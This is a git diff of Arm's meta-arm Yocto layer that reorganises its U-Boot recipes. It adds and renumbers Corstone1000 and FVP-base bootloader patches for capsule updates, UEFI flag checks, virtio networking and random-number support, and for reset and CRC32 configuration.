--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0039-corstone1000-enable-authenticated-capsule-config.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0037-corstone1000-enable-authenticated-capsule-config.patch
@@ -1,7 +1,7 @@
-From 9b884d4f483474b99fcb4850197a1c8dde34147d Mon Sep 17 00:00:00 2001
+From 6a4d38a82755a8946ff8b79440550cae8032abed Mon Sep 17 00:00:00 2001
From: Emekcan Aras <emekcan.aras@arm.com>
Date: Wed, 13 Sep 2023 13:52:02 +0100
-Subject: [PATCH] corstone1000: enable authenticated capsule config
+Subject: [PATCH 37/38] corstone1000: enable authenticated capsule config
Enables authenticated capsule update config for corstone1000.
@@ -24,5 +24,5 @@ index 5b0b2ac3bf..2de3f5d7b3 100644
CONFIG_FWU_MULTI_BANK_UPDATE=y
# CONFIG_TOOLS_MKEFICAPSULE is not set
--
-2.17.1
+2.25.1
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0040-corstone1000-introduce-EFI-authenticated-capsule-upd.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0038-corstone1000-introduce-EFI-authenticated-capsule-upd.patch
index f47dd8c196..6e268d436b 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0040-corstone1000-introduce-EFI-authenticated-capsule-upd.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0038-corstone1000-introduce-EFI-authenticated-capsule-upd.patch
@@ -1,7 +1,8 @@
-From b99a39c662b9be5f940b895efa8016f5567e1c1f Mon Sep 17 00:00:00 2001
+From 0d1975369f3c483b540818cec8a088ed35116bbb Mon Sep 17 00:00:00 2001
From: Emekcan Aras <emekcan.aras@arm.com>
Date: Wed, 13 Sep 2023 13:55:08 +0100
-Subject: [PATCH] corstone1000: introduce EFI authenticated capsule update
+Subject: [PATCH 38/38] corstone1000: introduce EFI authenticated capsule
+ update
Introduces EFI authenticated capsule update for corstone1000. Corstone1000
implements platform-specific capsule update mechanism in u-bootdue to the SoC
@@ -15,7 +16,7 @@ Upstream-Status: Inappropriate [Redesign of Capsule update interface is required
1 file changed, 39 insertions(+)
diff --git a/lib/efi_loader/efi_capsule.c b/lib/efi_loader/efi_capsule.c
-index 6a06605ad9..30fb7d1dd5 100644
+index 6a06605ad9..e1c78d8c1c 100644
--- a/lib/efi_loader/efi_capsule.c
+++ b/lib/efi_loader/efi_capsule.c
@@ -820,6 +820,12 @@ efi_status_t __efi_runtime EFIAPI efi_update_capsule(
@@ -72,5 +73,5 @@ index 6a06605ad9..30fb7d1dd5 100644
efi_memcpy_runtime(corstone1000_capsule_buf, capsule, capsule->capsule_image_size);
--
-2.17.1
+2.25.1
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0039-enables-ondisk-capsule-update-feature.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0039-enables-ondisk-capsule-update-feature.patch
new file mode 100644
index 0000000000..cd002acaab
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0039-enables-ondisk-capsule-update-feature.patch
@@ -0,0 +1,33 @@
+From e5057a10641a7c84186bcbbcd12ee904300ebc53 Mon Sep 17 00:00:00 2001
+From: Emekcan Aras <emekcan.aras@arm.com>
+Date: Fri, 13 Oct 2023 15:19:32 +0100
+Subject: [PATCH] Enables on-disk capsule update feature
+
+Enables on-disk capsule update feature for corstone1000.
+
+Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
+Upstream-Status: Inappropriate [Redesign of Capsule update interface is required]
+---
+ lib/efi_loader/efi_capsule.c | 5 ++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/lib/efi_loader/efi_capsule.c b/lib/efi_loader/efi_capsule.c
+index e1c78d8c1c..63e4c06e58 100644
+--- a/lib/efi_loader/efi_capsule.c
++++ b/lib/efi_loader/efi_capsule.c
+@@ -1499,7 +1499,12 @@ efi_status_t efi_launch_capsules(void)
+ index = 0;
+ ret = efi_capsule_read_file(files[i], &capsule);
+ if (ret == EFI_SUCCESS) {
++ #if IS_ENABLED(CONFIG_TARGET_CORSTONE1000)
++ /* capsule update only supports 1 image and no scatter gather list for corstone1000 */
++ efi_update_capsule(&capsule, 1, 0);
++ #elif
+ ret = efi_capsule_update_firmware(capsule);
++ #endif
+ if (ret != EFI_SUCCESS) {
+ log_err("Applying capsule %ls failed.\n",
+ files[i]);
+--
+2.25.1
+
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0040-fix-runtime-capsule-update-flags-checks.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0040-fix-runtime-capsule-update-flags-checks.patch
new file mode 100644
index 0000000000..b1d400d715
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0040-fix-runtime-capsule-update-flags-checks.patch
@@ -0,0 +1,56 @@
+From a83aa9e1b8f6e312da82e54614fbca498493c34d Mon Sep 17 00:00:00 2001
+From: Emekcan Aras <emekcan.aras@arm.com>
+Date: Thu, 19 Oct 2023 14:56:55 +0100
+Subject: [PATCH] fix runtime capsule update flags checks for corstone1000
+
+Fixes capsule update flags checks in capsule update as these checks are missing
+in the platform-specific capsule-update implementation in corstone1000.
+
+Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
+Upstream-Status: Inappropriate [Redesign of Capsule update interface is required]
+---
+ lib/efi_loader/efi_capsule.c | 28 ++++++++++++++++++++++++++++
+ 1 file changed, 28 insertions(+)
+
+diff --git a/lib/efi_loader/efi_capsule.c b/lib/efi_loader/efi_capsule.c
+index 307bcfd73c..34507482b7 100644
+--- a/lib/efi_loader/efi_capsule.c
++++ b/lib/efi_loader/efi_capsule.c
+@@ -854,6 +854,34 @@ efi_status_t __efi_runtime EFIAPI efi_update_capsule(
+ continue;
+ }
+
++ /* According to UEFI specs when the flag is CAPSULE_FLAGS_PERSIST_ACROSS_RESET,
++ ScatterGatherList can't be NULL.*/
++ if ((capsule->flags & CAPSULE_FLAGS_PERSIST_ACROSS_RESET) &&
++ scatter_gather_list == 0){
++ ret = EFI_INVALID_PARAMETER;
++ goto out;
++ }
++
++ /*According to UEFI specs a capsule which has the CAPSULE_FLAGS_POPULATE_SYSTEM_TABLE
++ * flag must have CAPSULE_FLAGS_PERSIST_ACROSS_RESET set in its
++ * header as well.*/
++ if (capsule->flags & CAPSULE_FLAGS_POPULATE_SYSTEM_TABLE){
++ if(!(capsule->flags & CAPSULE_FLAGS_PERSIST_ACROSS_RESET)){
++ ret = EFI_INVALID_PARAMETER;
++ goto out;
++ }
++ }
++
++ /* According to UEFI specs, a capsule which has the CAPSULE_FLAGS_INITIATE_RESET
++ * Flag must have CAPSULE_FLAGS_PERSIST_ACROSS_RESET set in its
++ * header as well.*/
++ if (capsule->flags & CAPSULE_FLAGS_INITIATE_RESET){
++ if(!(capsule->flags & CAPSULE_FLAGS_PERSIST_ACROSS_RESET)){
++ ret = EFI_INVALID_PARAMETER;
++ goto out;
++ }
++ }
++
+ log_debug("Capsule[%d] (guid:%pUs)\n",
+ i, &capsule->capsule_guid);
+
+--
+2.25.1
+
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0041-scatter-gather-flag-workaround.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0041-scatter-gather-flag-workaround.patch
new file mode 100644
index 0000000000..8ce82a752b
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0041-scatter-gather-flag-workaround.patch
@@ -0,0 +1,39 @@
+From abc3b43996198012498abe5777cfeedde4538a90 Mon Sep 17 00:00:00 2001
+From: Emekcan Aras <emekcan.aras@arm.com>
+Date: Mon, 6 Nov 2023 14:52:05 +0000
+Subject: [PATCH] workaround for scatter gather flag check for corstone1000
+
+This workaround passes 1 as scatter_gather_list value to pass the NULL checks
+for scatter_gather_list while CAPSULE_FLAGS_PERSIST_ACROSS_RESET flag is set
+(which is introduced lately to align with UEFI specs). Since these flag checks
+are not implemented in u-boot properly and corstone1000 does not support
+scatter_gather_list during capsule update, this patch will skip the check only
+for on-disk capsule update.
+
+Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
+Upstream-Status: Inappropriate [Redesign of Capsule update interface is required]
+---
+ lib/efi_loader/efi_capsule.c | 7 +++++--
+ 1 file changed, 5 insertions(+), 2 deletions(-)
+
+diff --git a/lib/efi_loader/efi_capsule.c b/lib/efi_loader/efi_capsule.c
+index a7d70acf2a..efbedce460 100644
+--- a/lib/efi_loader/efi_capsule.c
++++ b/lib/efi_loader/efi_capsule.c
+@@ -1530,8 +1530,11 @@ efi_status_t efi_launch_capsules(void)
+ ret = efi_capsule_read_file(files[i], &capsule);
+ if (ret == EFI_SUCCESS) {
+ #if IS_ENABLED(CONFIG_TARGET_CORSTONE1000)
+- /* capsule update only supports 1 image and no scatter gather list for corstone1000 */
+- efi_update_capsule(&capsule, 1, 0);
++ /* capsule update only supports 1 image and use of scatter_gather_list
++ * is not implemented for corstone1000 passing 1 to pass
++ * the NULL flag checks. This should will be fixed with
++ * new capsule update design*/
++ ret = efi_update_capsule(&capsule, 1, 1);
+ #elif
+ ret = efi_capsule_update_firmware(capsule);
+ #endif
+--
+2.25.1
+
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0042-corstone1000-enable-virtio-net-support.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0042-corstone1000-enable-virtio-net-support.patch
new file mode 100644
index 0000000000..d94e26a57e
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0042-corstone1000-enable-virtio-net-support.patch
@@ -0,0 +1,97 @@
+From 2ddd34b6838e836cf94a9da2f65cd01a21252846 Mon Sep 17 00:00:00 2001
+From: Emekcan Aras <emekcan.aras@arm.com>
+Date: Wed, 15 Nov 2023 16:04:06 +0000
+Subject: [PATCH] corstone1000: enable virtio-net support
+
+Adds virtio-net support in corstone1000-fvp.
+
+Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
+Upstream-Status: Pending [Not submitted to upstream yet]
+---
+ arch/arm/dts/corstone1000-fvp.dts | 6 ++++++
+ board/armltd/corstone1000/corstone1000.c | 24 +++++++++++++++++++++++-
+ configs/corstone1000_defconfig | 2 ++
+ 3 files changed, 31 insertions(+), 1 deletion(-)
+
+diff --git a/arch/arm/dts/corstone1000-fvp.dts b/arch/arm/dts/corstone1000-fvp.dts
+index 26b0f1b3ce..8e54a40113 100644
+--- a/arch/arm/dts/corstone1000-fvp.dts
++++ b/arch/arm/dts/corstone1000-fvp.dts
+@@ -21,6 +21,12 @@
+ reg-io-width = <2>;
+ };
+
++ virtio: virtio-net@40400000 {
++ compatible = "virtio,mmio";
++ reg = <0x40400000 0x10000>;
++ interrupts = <145>;
++ };
++
+ vmmc_v3_3d: fixed_v3_3d {
+ compatible = "regulator-fixed";
+ regulator-name = "vmmc_supply";
+diff --git a/board/armltd/corstone1000/corstone1000.c b/board/armltd/corstone1000/corstone1000.c
+index e3c0e5bf50..ef74dc9032 100644
+--- a/board/armltd/corstone1000/corstone1000.c
++++ b/board/armltd/corstone1000/corstone1000.c
+@@ -18,6 +18,7 @@
+ #include <dm/platform_data/serial_pl01x.h>
+ #include <asm/armv8/mmu.h>
+ #include <asm/global_data.h>
++#include <generated/dt.h>
+
+ /* remove the DT nodes not needed in Linux */
+ DT_NON_COMPLIANT_PURGE_LIST(foo) = {
+@@ -101,6 +102,14 @@ static struct mm_region corstone1000_mem_map[] = {
+ .size = 0x80000000UL,
+ .attrs = PTE_BLOCK_MEMTYPE(MT_NORMAL) |
+ PTE_BLOCK_INNER_SHARE
++ }, {
++ /* ethernet */
++ .virt = 0x40400000UL,
++ .phys = 0x40400000UL,
++ .size = 0x00100000UL,
++ .attrs = PTE_BLOCK_MEMTYPE(MT_DEVICE_NGNRNE) |
++ PTE_BLOCK_NON_SHARE |
++ PTE_BLOCK_PXN | PTE_BLOCK_UXN
+ }, {
+ /* List terminator */
+ 0,
+@@ -150,10 +159,23 @@ void fwu_plat_get_bootidx(uint *boot_idx)
+ int board_late_init(void)
+ {
+ struct disk_partition part_info;
+- struct udevice *dev, *bdev;
++ struct udevice *dev, *bdev,*virtio_bus, *virtio_child;;
+ struct nvmxip_plat *plat;
+ struct blk_desc *desc;
+ int ret;
++ const char *cmp_dtb = DEVICE_TREE;
++
++ if (!strcmp(cmp_dtb, "corstone1000-fvp")) {
++ ret = uclass_first_device_err(UCLASS_VIRTIO, &virtio_bus);
++ if (!virtio_bus){
++ log_err("Cannot find virtio device\n");
++ return ret;
++ }
++ while (virtio_bus) {
++ device_foreach_child_probe(virtio_child, virtio_bus);
++ uclass_next_device(&virtio_bus);
++ }
++ }
+
+ ret = uclass_first_device_err(UCLASS_NVMXIP, &dev);
+ if (ret < 0) {
+diff --git a/configs/corstone1000_defconfig b/configs/corstone1000_defconfig
+index 2de3f5d7b3..8770b474e2 100644
+--- a/configs/corstone1000_defconfig
++++ b/configs/corstone1000_defconfig
+@@ -78,3 +78,5 @@ CONFIG_DM_GPIO=y
+ CONFIG_SYSRESET_PSCI=y
+ CONFIG_EFI_SET_TIME=y
+ CONFIG_EFI_GET_TIME=y
++CONFIG_VIRTIO_NET=y
++CONFIG_VIRTIO_MMIO=y
+--
+2.25.1
+
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0001-Revert-vexpress64-pick-DRAM-size-from-DT.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0001-Revert-vexpress64-pick-DRAM-size-from-DT.patch
deleted file mode 100644
index d551622460..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0001-Revert-vexpress64-pick-DRAM-size-from-DT.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 4f649e0a3e0f9ed1f0d6efdff5b14cdc40d84201 Mon Sep 17 00:00:00 2001
-From: Jon Mason <jon.mason@arm.com
-Date: Thu, 2 Mar 2023 15:22:08 +0000
-Subject: [PATCH] Revert "vexpress64: pick DRAM size from DT"
-
-This reverts commit 1a1143a45457161e90ea4cd5f3b0561d924ed8fe.
-
-DRAM is determined via dtb in recent versions. Since fvp isn't
-reading and specifying a dtb, this fails and hangs u-boot. Remove this
-and go back to the way things were.
-
-Signed-off-by: Jon Mason <jon.mason@arm.com>
-Upstream-Status: Inappropriate
----
- board/armltd/vexpress64/vexpress64.c | 12 ++++++++++--
- 1 file changed, 10 insertions(+), 2 deletions(-)
-
-diff --git a/board/armltd/vexpress64/vexpress64.c b/board/armltd/vexpress64/vexpress64.c
-index af326dc6f453..e8ce88b22c5a 100644
---- a/board/armltd/vexpress64/vexpress64.c
-+++ b/board/armltd/vexpress64/vexpress64.c
-@@ -88,12 +88,20 @@ int board_init(void)
-
- int dram_init(void)
- {
-- return fdtdec_setup_mem_size_base();
-+ gd->ram_size = PHYS_SDRAM_1_SIZE;
-+ return 0;
- }
-
- int dram_init_banksize(void)
- {
-- return fdtdec_setup_memory_banksize();
-+ gd->bd->bi_dram[0].start = PHYS_SDRAM_1;
-+ gd->bd->bi_dram[0].size = PHYS_SDRAM_1_SIZE;
-+#ifdef PHYS_SDRAM_2
-+ gd->bd->bi_dram[1].start = PHYS_SDRAM_2;
-+ gd->bd->bi_dram[1].size = PHYS_SDRAM_2_SIZE;
-+#endif
-+
-+ return 0;
- }
-
- /* Assigned in lowlevel_init.S
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0001-virtio-rng-Workaround-for-FVP-returning-zero-size-bu.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0001-virtio-rng-Workaround-for-FVP-returning-zero-size-bu.patch
new file mode 100644
index 0000000000..689361d1d3
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0001-virtio-rng-Workaround-for-FVP-returning-zero-size-bu.patch
@@ -0,0 +1,49 @@
+From 3ab73b453016d91b9f942a7c12173854135530a4 Mon Sep 17 00:00:00 2001
+From: Peter Hoyes <Peter.Hoyes@arm.com>
+Date: Wed, 23 Aug 2023 21:17:17 +0100
+Subject: [PATCH] virtio: rng: Workaround for FVP returning zero-size buffer
+
+The FVP virtio-rng device is observed to always 8 fewer bytes of random
+data than requested. When 8 of fewer bytes are requested, the FVP
+returns 0 bytes. This causes U-Boot to hang upon attempting to fill the
+last 8 bytes of the input buffer.
+
+The virtio spec states than entropy devices must always return at least
+1 byte of random data.
+
+To workaround this, always request exactly 16 bytes from the virtio
+device, discarding any unused data.
+
+Upstream-Status: Inappropriate [Temporary workaround]
+Signed-off-by: Peter Hoyes <Peter.Hoyes@arm.com>
+---
+ drivers/virtio/virtio_rng.c | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/drivers/virtio/virtio_rng.c b/drivers/virtio/virtio_rng.c
+index b85545c2ee5..1e4fc342406 100644
+--- a/drivers/virtio/virtio_rng.c
++++ b/drivers/virtio/virtio_rng.c
+@@ -29,7 +29,7 @@ static int virtio_rng_read(struct udevice *dev, void *data, size_t len)
+
+ while (len) {
+ sg.addr = buf;
+- sg.length = min(len, sizeof(buf));
++ sg.length = sizeof(buf);
+ sgs[0] = &sg;
+
+ ret = virtqueue_add(priv->rng_vq, sgs, 0, 1);
+@@ -44,8 +44,8 @@ static int virtio_rng_read(struct udevice *dev, void *data, size_t len)
+ if (rsize > sg.length)
+ return -EIO;
+
+- memcpy(ptr, buf, rsize);
+- len -= rsize;
++ memcpy(ptr, buf, min(len, (size_t)rsize));
++ len -= min(len, (size_t)rsize);
+ ptr += rsize;
+ }
+
+--
+2.34.1
+
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0002-vexpress64-Set-the-DM_RNG-property.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0002-vexpress64-Set-the-DM_RNG-property.patch
new file mode 100644
index 0000000000..2f99eaf87c
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0002-vexpress64-Set-the-DM_RNG-property.patch
@@ -0,0 +1,31 @@
+From 9a28caf05b8345cd19276cf7a840599bd9e37749 Mon Sep 17 00:00:00 2001
+From: Debbie Martin <Debbie.Martin@arm.com>
+Date: Fri, 25 Aug 2023 15:09:33 +0100
+Subject: [PATCH] vexpress64: Set the DM_RNG property
+
+Enable the DM_RNG virtio random number generator driver in
+in order to consume entropy within u-boot. This is necessary
+in the case that the kernel is not configured to enable the
+virtio rng driver itself.
+
+Upstream-Status: Pending
+Signed-off-by: Debbie Martin <Debbie.Martin@arm.com>
+---
+ board/armltd/vexpress64/Kconfig | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/board/armltd/vexpress64/Kconfig b/board/armltd/vexpress64/Kconfig
+index cf998096e4..7ae5055f59 100644
+--- a/board/armltd/vexpress64/Kconfig
++++ b/board/armltd/vexpress64/Kconfig
+@@ -21,6 +21,7 @@ config VEXPRESS64_BASE_MODEL
+ imply EFI_SET_TIME if DM_RTC
+ select LINUX_KERNEL_IMAGE_HEADER
+ select POSITION_INDEPENDENT
++ imply DM_RNG
+
+ choice
+ prompt "VExpress64 board variant"
+--
+2.25.1
+
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0003-vexpress64-Select-PSCI-RESET-by-default.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0003-vexpress64-Select-PSCI-RESET-by-default.patch
new file mode 100644
index 0000000000..9d9a5bdfd1
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0003-vexpress64-Select-PSCI-RESET-by-default.patch
@@ -0,0 +1,52 @@
+From 43881e2e9dd165a65791927b1455f4b6c8727f4c Mon Sep 17 00:00:00 2001
+Message-Id: <43881e2e9dd165a65791927b1455f4b6c8727f4c.1696397516.git.diego.sueiro@arm.com>
+In-Reply-To: <98035c418c3df58817ab678037599303842ee931.1696397516.git.diego.sueiro@arm.com>
+References: <98035c418c3df58817ab678037599303842ee931.1696397516.git.diego.sueiro@arm.com>
+From: Diego Sueiro <diego.sueiro@arm.com>
+Date: Wed, 4 Oct 2023 06:31:50 +0100
+Subject: [PATCH 2/2] vexpress64: Select PSCI RESET by default
+
+Set SYSRESET and SYSRESET_PSCI config for vexpress64 by
+by default. This means that the reset_cpu function in
+vexpress64.c is no longer needed because it is called in
+sysreset-uclass.c instead.
+
+Upstream-Status: Pending
+Signed-off-by: Diego Sueiro <diego.sueiro@arm.com>
+---
+ board/armltd/vexpress64/Kconfig | 2 ++
+ board/armltd/vexpress64/vexpress64.c | 5 -----
+ 2 files changed, 2 insertions(+), 5 deletions(-)
+
+diff --git a/board/armltd/vexpress64/Kconfig b/board/armltd/vexpress64/Kconfig
+index 0d161740fb..0c2e5f8759 100644
+--- a/board/armltd/vexpress64/Kconfig
++++ b/board/armltd/vexpress64/Kconfig
+@@ -31,6 +31,8 @@ config TARGET_VEXPRESS64_BASE_FVP
+ bool "Support Versatile Express ARMv8a FVP BASE model"
+ select VEXPRESS64_BASE_MODEL
+ imply OF_HAS_PRIOR_STAGE
++ select SYSRESET
++ select SYSRESET_PSCI
+
+ config TARGET_VEXPRESS64_BASER_FVP
+ bool "Support Versatile Express ARMv8r64 FVP BASE model"
+diff --git a/board/armltd/vexpress64/vexpress64.c b/board/armltd/vexpress64/vexpress64.c
+index ee65a59683..f73de56464 100644
+--- a/board/armltd/vexpress64/vexpress64.c
++++ b/board/armltd/vexpress64/vexpress64.c
+@@ -207,11 +207,6 @@ void *board_fdt_blob_setup(int *err)
+ }
+ #endif
+
+-/* Actual reset is done via PSCI. */
+-void reset_cpu(void)
+-{
+-}
+-
+ /*
+ * Board specific ethernet initialization routine.
+ */
+--
+2.39.1
+
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0004-vexpress64-Imply-CONFIG_ARM64_CRC32-by-default.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0004-vexpress64-Imply-CONFIG_ARM64_CRC32-by-default.patch
new file mode 100644
index 0000000000..3d10994b60
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/0004-vexpress64-Imply-CONFIG_ARM64_CRC32-by-default.patch
@@ -0,0 +1,31 @@
+From 98035c418c3df58817ab678037599303842ee931 Mon Sep 17 00:00:00 2001
+Message-Id: <98035c418c3df58817ab678037599303842ee931.1696397516.git.diego.sueiro@arm.com>
+From: Diego Sueiro <diego.sueiro@arm.com>
+Date: Wed, 4 Oct 2023 06:29:12 +0100
+Subject: [PATCH 1/2] vexpress64: Imply CONFIG_ARM64_CRC32 by default
+
+Enable the Arm64 CRC-32 instruction by default for
+vexpress64. The CRC-32 instruction is a required
+feature of ARMv8.1 and newer.
+
+Upstream-Status: Pending
+Signed-off-by: Diego Sueiro <diego.sueiro@arm.com>
+---
+ board/armltd/vexpress64/Kconfig | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/board/armltd/vexpress64/Kconfig b/board/armltd/vexpress64/Kconfig
+index 7ae5055f59..0d161740fb 100644
+--- a/board/armltd/vexpress64/Kconfig
++++ b/board/armltd/vexpress64/Kconfig
+@@ -22,6 +22,7 @@ config VEXPRESS64_BASE_MODEL
+ select LINUX_KERNEL_IMAGE_HEADER
+ select POSITION_INDEPENDENT
+ imply DM_RNG
++ imply ARM64_CRC32
+
+ choice
+ prompt "VExpress64 board variant"
+--
+2.39.1
+
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/bootargs.cfg b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/bootargs.cfg
deleted file mode 100644
index 13f4cb4713..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/fvp-base/bootargs.cfg
+++ /dev/null
@@ -1,4 +0,0 @@
-CONFIG_BOOTARGS="console=ttyAMA0 earlycon=pl011,0x1c090000 root=/dev/vda1 rw rootwait"
-CONFIG_BOOTCOMMAND="booti $kernel_addr_r - $fdt_addr_r"
-# Our FVP support CRC instructions
-CONFIG_ARM64_CRC32=y
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot_%.bbappend b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot_%.bbappend
index c2916a5559..11f332ad39 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot_%.bbappend
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot_%.bbappend
@@ -1,83 +1,10 @@
FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"
-#
-# Corstone1000 64-bit machines
-#
-DEPENDS:append:corstone1000 = " gnutls-native openssl-native efitools-native"
-CORSTONE1000_DEVICE_TREE:corstone1000-mps3 = "corstone1000-mps3"
-CORSTONE1000_DEVICE_TREE:corstone1000-fvp = "corstone1000-fvp"
-EXTRA_OEMAKE:append:corstone1000 = ' DEVICE_TREE=${CORSTONE1000_DEVICE_TREE}'
+MACHINE_U-BOOT_REQUIRE ?= ""
+MACHINE_U-BOOT_REQUIRE:corstone1000 = "u-boot-corstone1000.inc"
+MACHINE_U-BOOT_REQUIRE:fvp-base = "u-boot-fvp-base.inc"
+MACHINE_U-BOOT_REQUIRE:juno = "u-boot-juno.inc"
+MACHINE_U-BOOT_REQUIRE:tc = "u-boot-tc.inc"
-SYSROOT_DIRS:append:corstone1000 = " /boot"
+require ${MACHINE_U-BOOT_REQUIRE}
-SRC_URI:append:corstone1000 = " \
- file://0001-FF-A-v15-arm64-smccc-add-support-for-SMCCCv1.2-x0-x1.patch \
- file://0002-FF-A-v15-lib-uuid-introduce-uuid_str_to_le_bin-funct.patch \
- file://0003-FF-A-v15-lib-uuid-introduce-testcase-for-uuid_str_to.patch \
- file://0004-FF-A-v15-arm_ffa-introduce-Arm-FF-A-support.patch \
- file://0005-FF-A-v15-arm_ffa-introduce-armffa-command.patch \
- file://0006-FF-A-v15-arm_ffa-introduce-sandbox-FF-A-support.patch \
- file://0007-FF-A-v15-arm_ffa-introduce-sandbox-test-cases-for-UC.patch \
- file://0008-FF-A-v15-arm_ffa-introduce-armffa-command-Sandbox-te.patch \
- file://0009-FF-A-v15-arm_ffa-efi-introduce-FF-A-MM-communication.patch \
- file://0010-FF-A-v15-arm_ffa-efi-corstone1000-enable-MM-communic.patch \
- file://0011-efi-corstone1000-fwu-introduce-EFI-capsule-update.patch \
- file://0012-arm-corstone1000-fix-unrecognized-filesystem-type.patch \
- file://0013-efi_loader-corstone1000-remove-guid-check-from-corst.patch \
- file://0014-efi_loader-populate-ESRT-table-if-EFI_ESRT-config-op.patch \
- file://0015-efi_firmware-add-get_image_info-for-corstone1000.patch \
- file://0016-efi_loader-fix-null-pointer-exception-with-get_image.patch \
- file://0017-arm-corstone1000-add-mmc-for-fvp.patch \
- file://0018-corstone1000-add-compressed-kernel-support.patch \
- file://0019-Introduce-external-sys-driver-to-device-tree.patch \
- file://0020-Add-mhu-and-rpmsg-client-to-u-boot-device-tree.patch \
- file://0021-arm-corstone1000-esrt-support.patch \
- file://0022-corstone1000-enable-distro-booting-command.patch \
- file://0023-corstone1000-add-fwu-metadata-store-info.patch \
- file://0024-fwu_metadata-make-sure-structures-are-packed.patch \
- file://0025-corstone1000-add-boot-index.patch \
- file://0026-corstone1000-adjust-boot-bank-and-kernel-location.patch \
- file://0027-corstone1000-add-nvmxip-fwu-mdata-and-gpt-options.patch \
- file://0028-nvmxip-move-header-to-include.patch \
- file://0029-corstone1000-set-kernel_addr-based-on-boot_idx.patch \
- file://0030-corstone1000-boot-index-from-active.patch \
- file://0031-corstone1000-enable-PSCI-reset.patch \
- file://0032-Enable-EFI-set-get-time-services.patch \
- file://0033-corstone1000-detect-inflated-kernel-size.patch \
- file://0034-corstone1000-ESRT-add-unique-firmware-GUID.patch \
- file://0035-dt-Provide-a-way-to-remove-non-compliant-nodes-and-p.patch \
- file://0036-bootefi-Call-the-EVT_FT_FIXUP-event-handler.patch \
- file://0037-corstone1000-purge-U-Boot-specific-DT-nodes.patch \
- file://0038-corstone1000-add-signature-device-tree-overlay.patch \
- file://0039-corstone1000-enable-authenticated-capsule-config.patch \
- file://0040-corstone1000-introduce-EFI-authenticated-capsule-upd.patch \
- "
-
-do_configure:append:corstone1000(){
- openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=CRT/ -keyout ${B}/CRT.key -out ${B}/CRT.crt -nodes -days 365
- cert-to-efi-sig-list ${B}/CRT.crt ${B}/corstone1000_defconfig/CRT.esl
-}
-
-do_install:append:corstone1000() {
- install -D -p -m 0644 ${B}/CRT.crt ${DEPLOY_DIR_IMAGE}/corstone1000_capsule_cert.crt
- install -D -p -m 0644 ${B}/CRT.key ${DEPLOY_DIR_IMAGE}/corstone1000_capsule_key.key
-}
-
-#
-# FVP BASE
-#
-SRC_URI:append:fvp-base = " file://bootargs.cfg \
- file://0001-Revert-vexpress64-pick-DRAM-size-from-DT.patch \
- "
-#
-# Juno Machines
-#
